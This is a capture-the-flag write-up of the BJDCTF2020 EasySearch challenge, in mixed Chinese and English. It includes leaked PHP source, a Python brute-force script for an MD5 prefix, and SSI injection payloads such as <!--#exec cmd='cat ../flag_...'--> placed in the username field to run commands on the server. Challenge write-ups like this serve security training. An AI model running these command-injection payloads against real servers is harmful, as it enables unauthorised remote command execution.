当前位置:网站首页>[BJDCTF2020] EasySearch
[BJDCTF2020] EasySearch
2022-08-05 04:00:00 【pakho_C】
[BJDCTF2020]EasySearch
一个登陆页面,A weak password was tried 爆破 注入无果
扫描目录发现index.php.swp
<?php
ob_start();
function get_hash(){
$chars = '[email protected]#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
代码审计:
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
Just the passwordmd5值的前6位为6d0bc1即可登陆成功
See the cracking password script:
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()#Get summary value
if a[0:6] == '6d0bc1':
print("find password!"+str(i))
break
得到密码为 2020666
接着看到shtml页面
SSIinject reference:SSI注入
One is generated in the codeshtml页面,Unable to view after login,Capture packets and observe returned packets:
访问该页面:
Get login information
这里用到shtml,HTML是静态的,而shtml基于SSI技术,当有服务器端可执行脚本时被当作一种动态编程语言,所以可以注入,也可以用来远程命令执行.
它的注入格式是这样的:<!--#exec cmd="命令"-->
所以只需要将username设置为payload即可
First probe the root directory:<!--#exec cmd="ls /"-->
根目录没有,Then view the current directory:<!--#exec cmd="ls"-->
也没有
查看上级目录:<!--#exec cmd="ls ../"-->
找到flag文件
查看flag:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&&password=2020666
边栏推荐
- Solana NFT开发指南
- 905. Interval selection
- 程序开发的一些常规套路(一)
- Mathematics - Properties of Summation Symbols
- Developing Hololens encountered The type or namespace name 'HandMeshVertex' could not be found..
- bytebuffer 内部结构
- This year's Qixi Festival, "love vegetables" are more loving than gifts
- 包拉链不可用,但是是被另一个包。
- DEJA_VU3D - Cesium功能集 之 057-百度地图纠偏
- UE4 通过重叠事件开启门
猜你喜欢
Mysql的redo log详解
不看后悔,appium自动化环境完美搭建
How to solve the three major problems of bank data collection, data supplementary recording and index management?
七夕节代码表白
【测量学】速成汇总——摘录高数帮
The most effective seven performance testing techniques of software testing techniques
UE4 通过重叠事件开启门
How to discover a valuable GameFi?
10 years of testing experience, worthless in the face of the biological age of 35
数据库设计的酸(ACID)碱(BASE)原则
随机推荐
[CISCN2019 South China Division]Web11
Walter talked little knowledge | "remote passthrough" that something
[MRCTF2020]Ezpop(详解)
程序开发的一些常规套路(一)
There are several common event handling methods in Swing?How to listen for events?
bytebuffer internal structure
UE4 更改组件变量 (以修改第一人称角色模板的最大行走速度和跳跃高度为例)
public static
List asList(T... a) What is the prototype? [SWPU2019]Web1
概率论的学习和整理8: 几何分布和超几何分布
bytebuffer 使用demo
Call Alibaba Cloud oss and sms services
Haproxy搭建Web群集
markdown如何换行——md文件
How to wrap markdown - md file
UE4 opens doors with overlapping events
多御安全浏览器 V10.8.3.1 版正式发布,优化多项内容
Android实战开发-Kotlin教程(入门篇-登录功能实现 3.3)
Dameng 8 database export and import
[Geek Challenge 2019]FinalSQL